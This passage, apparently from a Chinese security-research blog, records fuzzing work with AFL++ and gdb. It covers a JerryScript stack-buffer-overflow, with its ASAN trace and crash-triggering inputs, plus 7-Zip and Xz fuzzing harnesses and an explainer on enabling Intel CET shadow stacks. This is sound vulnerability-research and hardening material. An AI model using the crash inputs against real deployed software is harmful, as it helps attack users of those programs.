            shutil.copy2(src, dest)
    else:
        shutil.copy2(src, dest)
    return dest

CRASH_PATTERNS = [
    r"Program received signal",
    r"SIGSEGV",
    r"SIGABRT",
    r"Segmentation fault",
    r"SIGILL",
    r"SIGFPE",
    r"^#0",            # backtrace frame 0
    r"AddressSanitizer",
    r"ASAN:",
    r"terminate called",
]

_crash_re = re.compile("|".join("(?:" + p + ")" for p in CRASH_PATTERNS), flags=re.I | re.M)

def detect_crash(text: str) -> bool:
    return bool(_crash_re.search(text))

# Turn off pagination so gdb.execute(..., to_string=True) returns full text
try:
    gdb.execute("set pagination off")
except Exception:
    pass

# The program to run is the one passed with --args ./jerry when launching gdb.
# gdb already knows the executable from --args; we will just set program args each run.
files = sorted([p for p in CRASH_DIR.iterdir() if p.is_file()])

summary = {"processed": 0, "crashes": 0, "saved": 0, "no_crash": 0}

for infile in files:
    summary["processed"] += 1
    name = infile.name
    logfile = LOG_DIR / (name + ".log")
    print("---- Processing:", name)

    # Set args or use stdin redirection
    if USE_STDIN:
        # clear any args (not necessary, but explicit)
        try:
            gdb.execute("set args")
        except Exception:
            pass
        run_cmd = "run < " + shlex.quote(str(infile))
    else:
        # set argv for the debugged program to the filename
        # (if your program accepts multiple args, adjust as needed)
        try:
            gdb.execute("set args " + shlex.quote(str(infile)))
        except Exception:
            pass
        run_cmd = "run"

    # Execute run and capture textual output
    try:
        out_run = gdb.execute(run_cmd, to_string=True)
    except gdb.error as e:
        # gdb.error may be thrown if the program exited in a way gdb treats specially;
        # capture the string representation and continue to collect bt below.
        out_run = str(e)

    # After run, collect a backtrace (best-effort)
    try:
        out_bt = gdb.execute("bt full", to_string=True)
    except Exception:
        try:
            out_bt = gdb.execute("bt", to_string=True)
        except Exception:
            out_bt = ""

    combined = out_run + "\n" + out_bt

    # Save log
    with logfile.open("w", encoding="utf-8", errors="replace") as f:
        f.write("COMMAND: " + run_cmd + "\n\n")
        f.write("=== RUN OUTPUT ===\n")
        f.write(out_run + "\n\n")
        f.write("=== BACKTRACE ===\n")
        f.write(out_bt + "\n")

    # Detect crash
    if detect_crash(combined):
        summary["crashes"] += 1
        crash_line = gdb.execute('x/i $rip', to_string=True)
        valid = False
        if "[" not in crash_line:
            continue
        for reg in x86_64_registers:
            if reg in crash_line[crash_line.index("["):crash_line.index("]")] and int(gdb.execute(f"p ${reg}", to_string=True).split(' ')[-1], 16) > 8:
                valid = True
        if not valid:
            continue
        print("  -> Valid crash detected. Log:", logfile)
        if PATTERN.lower() in combined.lower():
            print(f"     -> pattern '{PATTERN}' FOUND in backtrace/output. Not saving.")
        else:
            dest = install_file(infile)
            summary["saved"] += 1
            print(f"     -> pattern '{PATTERN}' NOT found. Saved to:", dest)
    else:
        summary["no_crash"] += 1
        print("  -> No crash detected. Log:", logfile)

    # Attempt to kill inferior if still running so we can restart cleanly next time
    try:
        gdb.execute("kill", to_string=True)
    except Exception:
        # ignore; keep going
        pass

# Final summary
print("\nDone.")
print("Summary:")
for k, v in summary.items():
    print(f"  {k}: {v}")
print("Logs:", LOG_DIR)
print("Valid candidates:", VALID_DIR)

# End of gdb_run.py

经过筛选后,我发现了一个很有意思的崩溃:

$ ./jerry-asan /storage/jsfuzz/valid/id:000005,sig:11,src:005743,time:469380,execs:12877861,op:havo
c,rep:4
=================================================================
==1365920==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7b6b9b700098 at pc 0x558aff052c4d bp 0x7ffcb9f80e60 sp 0x7ffcb9f80e50
READ of size 1 at 0x7b6b9b700098 thread T0
    #0 0x558aff052c4c in scanner_create_variables (/storage/jsfuzz/jerry-asan+0x78c4c) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #1 0x558aff0551bc in parser_parse_function_arguments.lto_priv.0 (/storage/jsfuzz/jerry-asan+0x7b1bc) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #2 0x558aff0585c8 in parser_parse_function (/storage/jsfuzz/jerry-asan+0x7e5c8) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #3 0x558aff0a26bc in lexer_construct_function_object (/storage/jsfuzz/jerry-asan+0xc86bc) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #4 0x558aff0a6a77 in parser_parse_class (/storage/jsfuzz/jerry-asan+0xcca77) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #5 0x558aff0b6198 in parser_parse_statements (/storage/jsfuzz/jerry-asan+0xdc198) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #6 0x558aff057d49 in parser_parse_source.lto_priv.0 (/storage/jsfuzz/jerry-asan+0x7dd49) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #7 0x558aff008764 in jerry_parse_common.lto_priv.0 (/storage/jsfuzz/jerry-asan+0x2e764) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #8 0x558aff0bf0bc in jerryx_source_parse_script (/storage/jsfuzz/jerry-asan+0xe50bc) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #9 0x558afeff6be3 in main (/storage/jsfuzz/jerry-asan+0x1cbe3) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #10 0x7f6b9da27674  (/usr/lib/libc.so.6+0x27674) (BuildId: 4fe011c94a88e8aeb6f2201b9eb369f42b4a1e9e)
    #11 0x7f6b9da27728 in __libc_start_main (/usr/lib/libc.so.6+0x27728) (BuildId: 4fe011c94a88e8aeb6f2201b9eb369f42b4a1e9e)
    #12 0x558afeff72e4 in _start (/storage/jsfuzz/jerry-asan+0x1d2e4) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)

Address 0x7b6b9b700098 is located in stack of thread T0 at offset 152 in frame
    #0 0x558aff055ffe in parser_parse_source.lto_priv.0 (/storage/jsfuzz/jerry-asan+0x7bffe) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)

  This frame has 6 object(s):
    [32, 33) 'flags' (line 2041)
    [48, 49) 'flags' (line 2063)
    [64, 80) 'branch' (line 2253)
    [96, 112) 'literal'
    [128, 152) 'scanner_info_end' (line 2115) <== Memory access at offset 152 overflows this variable
    [192, 792) 'context' (line 1988)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/storage/jsfuzz/jerry-asan+0x78c4c) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b) in scanner_create_variables
Shadow bytes around the buggy address:
  0x7b6b9b6ffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b6b9b6ffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b6b9b6fff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b6b9b6fff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b6b9b700000: f1 f1 f1 f1 01 f2 01 f2 00 00 f2 f2 f8 f8 f2 f2
=>0x7b6b9b700080: 00 00 00[f2]f2 f2 f2 f2 00 00 00 00 00 00 00 00
  0x7b6b9b700100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b6b9b700180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b6b9b700200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b6b9b700280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b6b9b700300: 00 00 00 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1365920==ABORTING

这个输入是:

class MyError extends Error {7667111111111111111;;;;;;;static
 { throwased = true;
  d = trsert.s}.defeuse(resourcd = true;
 new MyError(); });
stack.defer(function () {});
assert.throws(MyError, functction (# {
 Csu 12), .defer(function41024448kTtrspose()&
});

还有一个输入会使得用于寄存器间接寻址的寄存器 RDI 地址值变为 RDI 0x646573610a20650a ('\ne \nased'),RDI 内容是输入本身的一部分。不过很有意思的是它并不会触发 Address Sanitizer。说明 ASAN 很可能会改变某些调用栈帧的内存布局。(我手动 trim 了一下,不然这个输入真的又长又难看。)

class MyE{7667;;667;;sta;7;;667;;s;;#;statTtra;sta;7;;667;;;;;;;;s;;#;statTtra;;';s;;#at;#;statTtra;;';s;;#atTtra;;#;;sta;;;
e 
ased = 
class{76671;
6
;
s;;;;;;;;;;static
ase
6
e 
ased = 
class{76671;
6
;
s;;;;;;;;;;static
ased6671;
6
e 
ased = 
class{76671;
6
;
s;;;;;;;;;;static
as}}}}|}}}Of(}}|}csleO}}}}|}}}Of}}|}02000(1167E0Y.u(3}}}}}}}}}PisleO}}}}|}}}Of}}|}02000(1167E000002000(11676cY.u(Pisle}}}}PisleO}}}}|}}}OfInfinityaa, new .u9PisleOaaaaa!pa}}}}}}PisleO}}}}|}}}Of

另外有很多与它相似的 crash inputs,可以很明显发现 JerryScript 对于 JS 类私有字段名的处理有很大问题。

总结

其实这是一次没什么意义的 fuzzing,fuzz 类似编译器的软件应该使用结构化的 fuzzer,而不是 AFL++ 这样基本依靠字节随机变异的 fuzzer,不然连语法检查都过不了很难进一步挖掘漏洞。之后我可能再尝试一下 fuzzilli,或者考虑自己手写一个 fuzzer(画大饼 ing)。

最近初入真实世界的二进制漏洞利用,看到了太多 AI 伪造 exploits 和毫无意义的“高危”CVE。各种漏洞挖掘有高到令人振奋的 bug bounty,但很少有组织愿意奖励 bug patches。这是否是安全研究与软件开发之间的脱节?(现实是许多开发者都反感这些夸张甚至虚假的漏洞报告。)

第一次尝试

使用 archlinux 的 p7zip PKGBULD,修改编译器为 afl-clang-lto(++)

编译时发现一个函数指针类型转换的报错,用 -Wno-cast-function-type-strict 参数来抑制。

准备了三个随便的 7z 文件,放进 input 文件夹直接开始。(@@ 表示输入文件目录,而不是从 stdin 输入)

AFL_SKIP_CPUFREQ=1 afl-fuzz -i input -o output -- ./7zr x @@

结果:我看也就娱乐 fuzz,效果一坨🔟。

第二次尝试

准备了很多只有一个或几个文件,大小仅 100+ 字节的 7z 文件作为输入。

AFL_SKIP_CPUFREQ=1 afl-fuzz -i input -o output -- ./7zr x @@ -y

结果:覆盖率很快达到和第一次同样水平。

第三次尝试

了解到 7z 格式有 CRC 校验,估计大多数 fuzz 输入都死在校验上了。patch 源码去除校验:(应该使用 FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION 宏)

static inline bool TestStartCrc(const Byte *p)
{
  (void)p; // 抑制 -Wunused-parameter
  return true;
}

if (CrcCalc(buffer2, nextHeaderSize_t) != nextHeaderCRC)
    ;

if (CrcCalc(data, unpackSize) != folders.FolderCRCs.Vals[i])
    ;

添加 -fsanitize=address -g 编译选项。添加 -so 运行选项,这样不会在目录里拉💩。

本来想加上 -si 参数从 stdin 输入压缩文件,应该可以大幅提升性能。但是 7z 格式竟然不支持,原因是 7z 有一部分文件头在文件末尾,解压前必须先读取。(意义不明...)

把整个 fuzzing 项目文件夹放在 tmpfs 里应该会更快吧,虽然 afl 官网教程推荐 ext2 + noatime。因为现在基本是在实验,暂时懒得配置 ext2 环境了。

AFL_USE_ASAN=1 AFL_SKIP_CPUFREQ=1 afl-fuzz -i input -o output -- ./7zr x @@ -y -so

结果:本来不抱什么希望,睡了个午觉起来竟然就真的收集到了很多 crashes,但都是 OOM,没什么实际意义。(用 KDE Ark 打开其中某个 input,直接 coredump 了。)

==589143==ERROR: AddressSanitizer: requested allocation size 0x207ffffffffffff (0x208000000001000 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
    #0 0x6048688567e2 in operator new[](unsigned long) (/tmp/7zfuzz/7zr+0x1fa7e2) (BuildId: 8450a6b1d6712a80c42046efedb6d74eb798c38d)
    #1 0x604868c0e1e0 in CBuffer<unsigned char>::Alloc(unsigned long) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../Archive/7z/../../Common/../../Common/MyBuffer.h:72:18
    #2 0x604868c1f5bd in NArchive::N7z::CInArchive::ReadAndDecodePackedStreams(unsigned long, unsigned long&, CObjectVector<CBuffer<unsigned char>>&, ICryptoGetTextPassword*, bool&, bool&, UString&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../Archive/7z/7zIn.cpp:1187:10
    #3 0x604868c280ce in NArchive::N7z::CInArchive::ReadDatabase2(NArchive::N7z::CDbEx&, ICryptoGetTextPassword*, bool&, bool&, UString&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../Archive/7z/7zIn.cpp:1705:28
    #4 0x604868be4ddd in NArchive::N7z::CInArchive::ReadDatabase(NArchive::N7z::CDbEx&, ICryptoGetTextPassword*, bool&, bool&, UString&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../Archive/7z/7zIn.cpp:1743:25
    #5 0x604868be4ddd in NArchive::N7z::CHandler::Open(IInStream*, unsigned long const*, IArchiveOpenCallback*) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../Archive/7z/7zHandler.cpp:708:30
    #6 0x604868dc6db4 in OpenArchiveSpec(IInArchive*, bool, IInStream*, unsigned long const*, IArchiveOpenCallback*, IArchiveExtractCallback*) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:1599:3
    #7 0x604868dbc2ba in CArc::OpenStream2(COpenOptions const&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:2744:26
    #8 0x604868dc9229 in CArc::OpenStream(COpenOptions const&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:3024:3
    #9 0x604868dcb6c1 in CArc::OpenStreamOrFile(COpenOptions&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:3119:17
    #10 0x604868dcda76 in CArchiveLink::Open(COpenOptions&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:3295:28
    #11 0x604868dd277e in CArchiveLink::Open2(COpenOptions&, IOpenCallbackUI*) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:3419:17
    #12 0x604868d49f6d in CArchiveLink::Open3(COpenOptions&, IOpenCallbackUI*) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:3487:17
    #13 0x604868d49f6d in CArchiveLink::Open_Strict(COpenOptions&, IOpenCallbackUI*) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/../Common/OpenArchive.h:437:22
    #14 0x604868d49f6d in Extract(CCodecs*, CObjectVector<COpenType> const&, CRecordVector<int> const&, CObjectVector<UString>&, CObjectVector<UString>&, NWildcard::CCensorNode const&, CExtractOptions const&, IOpenCallbackUI*, IExtractCallbackUI*, IFolderArchiveExtractCallback*, IHashCalc*, UString&, CDecompressStat&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/Extract.cpp:422:30
    #15 0x604868e55d25 in Main2(int, char**) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Console/Main.cpp:1378:21
    #16 0x604868e68411 in main /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Console/MainAr.cpp:132:11
    #17 0x7bc23b33f6b4 in __libc_start_call_main /usr/src/debug/glibc/glibc/csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #18 0x7bc23b33f768 in __libc_start_main /usr/src/debug/glibc/glibc/csu/../csu/libc-start.c:360:3
    #19 0x604868717a24 in _start (/tmp/7zfuzz/7zr+0xbba24) (BuildId: 8450a6b1d6712a80c42046efedb6d74eb798c38d)

==589143==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: allocation-size-too-big (/tmp/7zfuzz/7zr+0x1fa7e2) (BuildId: 8450a6b1d6712a80c42046efedb6d74eb798c38d) in operator new[](unsigned long)
==589143==ABORTING

这触发原理我还真没看明白,不过 7z 文件格式里有不少直接由用户控制长度的字段,出现这种情况也算正常吧。

第四次尝试

CPP/Common/MyBuffer.h 里内存分配相关的函数用 __attribute__((no_sanitize("address"))) 标记,这样就不会被 ASAN 追踪了。由于这些内存分配函数本来就是热点,所以性能提升了不少,也不会报无意义的 OOM 错误,而且应该不会错过什么漏洞(毕竟真的只是 new[] 而已)。

刚才发现 afl-llvm-cmplog 这个工具,通过插桩记录程序中的比较操作,帮助 afl++ 生成能触发关键路径的输入。要想启用,需要在编译时加上 AFL_LLVM_CMPLOG=1 环境变量,fuzz 时加上参数 -c 0。在面对需要特定文件格式输入(魔法头之类)的 fuzzing 时效果明显。

AFL_USE_ASAN=1 AFL_SKIP_CPUFREQ=1 afl-fuzz -i input -o output -- ./7zr x @@ -y -so

结果:map density 翻倍了!

wget https://www.gstatic.com/webp/gallery/1.webp -O input/1.webp
wget https://www.gstatic.com/webp/gallery/2.webp -O input/2.webp
wget https://www.gstatic.com/webp/gallery/3.webp -O input/3.webp
wget https://www.gstatic.com/webp/gallery/4.webp -O input/4.webp
wget https://www.gstatic.com/webp/gallery/5.webp -O input/5.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_01.webp -O input/test_01.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_02.webp -O input/test_02.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_03.webp -O input/test_03.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_04.webp -O input/test_04.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_05.webp -O input/test_05.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_06_lossless.webp -O input/test_06_lossless.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_06_lossy.webp -O input/test_06_lossy.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_07_lossless.webp -O input/test_07_lossless.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_07_lossy.webp -O input/test_07_lossy.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_08_lossless.webp -O input/test_08_lossless.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_08_lossy.webp -O input/test_08_lossy.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_09_large.webp -O input/test_09_large.webp

第五次尝试

AFL_QUIET=1

CC=afl-clang-lto CXX=afl-clang-lto++ ./configure --disable-shared
  • 2 Master
  • 4 AFL_USE_ASAN=1 AFL_USE_UBSAN=1 AFL_USE_CFISAN=1
  • 6 AFL_LLVM_CMPLOG=1 -l 2AT
  • 8 AFL_LLVM_LAF_ALL=1
  • 10
cd CPP/7zip/Bundles/Alone2/

export EXEPTOR_CONFIG=$(pwd)/libexeptor.yaml
export EXEPTOR_LOG=$(pwd)/exeptor.log

LD_PRELOAD=/tmp/exeptor/build/libexeptor.so make -j -f ../../cmpl_clang_x64.mak CC=afl-clang-lto CXX=afl-clang-lto++ USE_ASM=1 MY_ASM="uasm"

AFL_QUIET=1 AFL_LLVM_CMPLOG=1 LD_PRELOAD=/tmp/exeptor/build/libexeptor.so make -j -f ../../cmpl_clang_x64.mak CC=afl-clang-lto CXX=afl-clang-lto++ USE_ASM=1 MY_ASM="uasm"

AFL_LLVM_LAF_ALL=1 LD_PRELOAD=/tmp/exeptor/build/libexeptor.so make -j -f ../../cmpl_clang_x64.mak CC=afl-clang-lto CXX=afl-clang-lto++ USE_ASM=1 MY_ASM="uasm"

-f

llvm-ar rcs 7z.a ./b/c_x64/*.o

docker build . -t fuzz-7zip
docker run --rm -it --tmpfs /ramdisk:exec fuzz-7zip
cp -r /root/fuzz/ /ramdisk/ && cd /ramdisk/fuzz
export AFL_TESTCACHE_SIZE=256
AFL_FINAL_SYNC=1 afl-fuzz -i input -o output -M master -a binary -G 1024 -b 2 -- ./7zz_normal x -so -tzip @@
AFL_USE_ASAN=1 afl-fuzz -i input -o output -S sanitizer -a binary -G 1024 -b 4 -- ./7zz_sanitizer x -so -tzip @@
afl-fuzz -i input -o output -S cmplog -a binary -G 1024 -b 6 -c 0 -l 2AT -- ./7zz_cmplog x -so -tzip @@
afl-fuzz -i input -o output -S compcov -a binary -G 1024 -b 8 -- ./7zz_cmpcov x -so -tzip @@
#define Z7_ST
#include "../CPP/7zip/Archive/Common/DummyOutStream.h"
#include "../CPP/7zip/Common/CWrappers.h"
#include "7zAlloc.h"
#include "7zTypes.h"
#include "Alloc.h"
#include "Xz.h"
#include <string.h>
#include <unistd.h>
static const ISzAlloc alloc = {SzAlloc, SzFree};
static int isMT = False;
static CXzStatInfo stat;
class FakeOutStream : public ISequentialOutStream {
  public:
    // IUnknown
    STDMETHOD(QueryInterface)(REFIID, void **) { return S_OK; }
    STDMETHOD_(ULONG, AddRef)() { return 1; }
    STDMETHOD_(ULONG, Release)() { return 1; }
    // ISequentialOutStream
    STDMETHOD(Write)(const void *, UInt32 size, UInt32 *processedSize) {
        *processedSize = size;
        return S_OK;
    }
};
// Dummy input stream for fuzzing, construt with const uint8_t *Data, size_t
// Size
#include <algorithm>
class BufInStream : public ISequentialInStream {
  private:
    const uint8_t *_data;
    size_t _size;
    size_t _pos;

  public:
    BufInStream() : _data(nullptr), _size(0), _pos(0) {}
    void SetData(const uint8_t *data, size_t size) {
        _data = data;
        _size = size;
        _pos = 0;
    }
    // IUnknown
    STDMETHOD(QueryInterface)(REFIID, void **) { return S_OK; }
    STDMETHOD_(ULONG, AddRef)() { return 1; }
    STDMETHOD_(ULONG, Release)() { return 1; }
    // ISequentialInStream
    STDMETHOD(Read)(void *data, UInt32 size, UInt32 *processedSize) {
        if (_pos >= _size) {
            if (processedSize)
                *processedSize = 0;
            return S_OK;
        }
        UInt32 toRead = (UInt32)std::min<size_t>(size, _size - _pos);
        memcpy(data, _data + _pos, toRead);
        _pos += toRead;
        if (processedSize)
            *processedSize = toRead;
        return S_OK;
    }
    STDMETHOD(Seek)(Int64 offset, UInt32 seekOrigin, UInt64 *newPosition) {
        if (seekOrigin == STREAM_SEEK_SET)
            _pos = (UInt32)offset;
        else if (seekOrigin == STREAM_SEEK_CUR)
            _pos += (UInt32)offset;
        else if (seekOrigin == STREAM_SEEK_END)
            _pos = (UInt32)(_size + offset);
        if (newPosition)
            *newPosition = _pos;
        return S_OK;
    }
};
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
    CXzDecMtHandle p = XzDecMt_Create(&alloc, &g_AlignedAlloc);
    CXzDecMtProps props;
    XzDecMtProps_Init(&props);
    BufInStream inStream;
    inStream.SetData(Data, Size);
    FakeOutStream outStream;
    CSeqInStreamWrap inWrap;
    CSeqOutStreamWrap outWrap;
    CCompressProgressWrap progressWrap;
    inWrap.Init(&inStream);
    outWrap.Init(&outStream);
    SRes res = XzDecMt_Decode(p, &props, NULL, CODER_FINISH_ANY, &outWrap.vt,
                              &inWrap.vt, &stat, &isMT, NULL);
    XzDecMt_Destroy(p);
    return 0;
}

Intel CET

Intel CET(Controlflow Enforcement Technology / 控制流加固技术)CFI(Control Flow Integrity / 控制流完整性)检查是近些年兴起的保护机制,其中包含 SHSTK(SHadow STacK)和 IBT(Indirect Branch Tracking),Intel Tiger Lake(11 代)及以上 CPU 才支持。

SHSTK 是一种后向控制流完整性(Backward-edge CFI)检查(简单来说是在“返回”时的检查),一般需要硬件支持。程序运行时在不同内存映射中同时维护两个调用栈,一个是众所周知的栈区,另一个是新增的“影子栈”,只存储返回地址。CPU 在过程调用与返回时将同时操作两个栈,如果在返回时发现正常调用栈的返回地址与影子栈中的不同就产生异常。这样一来只通过栈缓冲区溢出等方式修改栈上函数返回值以劫持控制流的方式就失效了,也就是所有 ROP 攻击都将失效

IBT 是一种前向控制流完整性(Forward-edge CFI)检查(简单来说是在“调用”时的检查)。CPU 每当执行间接调用及跳转时都检查目标的指令是否为 endbr64/32,如果是就不执行任何操作(类似 nop),如果不是就产生异常。这样一来大幅削弱了 COP / JOP 攻击。Forward-edge CFI 可以在软件层面模拟,例如 Windows CFG、Clang CFI 等,但是会大幅降低程序性能,每次虚函数调用等都需要校验,实用价值有限。

目前 Windows 只支持 Shadow Stack(Windows CFG),还不支持以 endbr 指令为基础的 IBT(存疑,Windows 我不熟悉);Linux 上也几乎没有程序启用这项保护,算是高度实验性的功能吧。不过 SHSTK 保护很可能在未来成为继 RELRO、Stack Canary、NX、ASLR (PIE) 后又一项常见的用户态保护机制。下文即将提到的 COOP 攻击对于未来的 Pwner 可能也会是像 ROP 一样必学的攻击方式?(Hackergame 2024 中有一道开启了 SHSTK 和 IBT 的 Pwn 题,但好像没开 ASLR,解法是直接篡改 shadow stack 本身再 ROP。)

验证 Intel CET 是否可用

接下来是在 Linux 上实验启用 CET 的具体操作,主要是 Shadow Stack。首先需要内核启用 CET 特性,Linux 6.2 默认启用 IBTLinux 6.6 正式合并 SHSTK。在命令行中验证启用状态:

$ sudo dmesg | grep CET
[    0.111658] CET detected: Indirect Branch Tracking enabled
$ cat /proc/cpuinfo | grep shstk
flags           : ... user_shstk ...
$ cat /proc/cpuinfo | grep ibt
flags           : ... ibt ...

验证某程序是否在编译时启用 CET:

$ readelf -n <application> | grep -a SHSTK
      Properties: x86 feature: IBT, SHSTK
$ readelf -n <application> | grep -a IBT
      Properties: x86 feature: IBT, SHSTK

GCC / glibc 环境启用 Intel CET

Glibc 已经在其 ld.so 中初步支持 Intel CET 保护。

我的环境:

CPU: 13th Gen Intel(R) Core(TM) i7-13700H (20) @ 5.00 GHz
Kernel: 6.14.7-zen2-1-zen (archlinux)
glibc: GNU C Library (GNU libc) stable release version 2.41

如果自己的电脑没有 Intel CET 软硬件支持,推荐使用 eqqie 学长开发的 qemu 插件(github)。我的电脑由于恰好满足所有条件,所以我图方便直接实机测试了比较粗暴。开虚拟环境总是对的。

编译时

使用 gcc 编译时添加以下编译参数:

gcc -fcf-protection=full

运行时

目前 glibc 动态链接器 ld.so 默认不启用 Intel CET 特性(见源码),需要设置以下环境变量以强制启用:

GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK
将以上环境变量中 on 改为 permissive 可以以更兼容的方式启用 CET(SHSTK / IBT),当程序本身或其动态链接库不支持 CET 特性时,动态链接器将自动关闭 CET。

保护效果

编写这样一个简单的 C 程序:

# File: test_cet.c

#include <stdio.h>

int main(void) {
  puts("Hello, shadow stack!");
  return 0;
}

编译运行:

$ gcc -fcf-protection=branch test_cet.c -o test_cet
$ GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK ./test_cet
Hello, shadow stack!

程序正常输出,但这并不是重点。接下来使用 gdb + pwndbg 调试验证 Shadow Stack 确实已启用:

$ gdb ./a.out
pwndbg> r
...
pwndbg> set environment GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK
pwndbg> start
...
pwndbg> vmmap
...
0x7ffff7400000     0x7ffff7c00000 rw-p   800000      0 [anon_7ffff7400]
...
pwndbg> b _IO_file_write
...
pwndbg> c
...
pwndbg> tele 0x7ffff7bff000 1000
00:0000│  0x7ffff7bff000 ◂— 0
... ↓     496 skipped
1f1:0f88│  0x7ffff7bfff88 —▸ 0x7ffff7e99aac (sbrk+108) ◂— test eax, eax
1f2:0f90│  0x7ffff7bfff90 —▸ 0x7ffff7e252e6 (__default_morecore+22) ◂— cmp rax, -1
1f3:0f98│  0x7ffff7bfff98 —▸ 0x7ffff7e2622b (sysmalloc+1019) ◂— mov r10, qword ptr [rbp - 0x50]
1f4:0fa0│  0x7ffff7bfffa0 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38]
1f5:0fa8│  0x7ffff7bfffa8 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38]
1f6:0fb0│  0x7ffff7bfffb0 —▸ 0x7ffff7e28002 (malloc+434) ◂— test rax, rax
1f7:0fb8│  0x7ffff7bfffb8 —▸ 0x7ffff7e012fd (_IO_file_doallocate+173) ◂— mov eax, 1
1f8:0fc0│  0x7ffff7bfffc0 —▸ 0x7ffff7e0d2dd (new_do_write+93) ◂— movzx edi, word ptr [rbx + 0x80]
1f9:0fc8│  0x7ffff7bfffc8 —▸ 0x7ffff7e0e191 (_IO_do_write+33) ◂— cmp rbx, rax
1fa:0fd0│  0x7ffff7bfffd0 —▸ 0x7ffff7e0e70b (_IO_file_overflow+283) ◂— cmp eax, -1
1fb:0fd8│  0x7ffff7bfffd8 —▸ 0x7ffff7e03dba (puts+474) ◂— cmp eax, -1
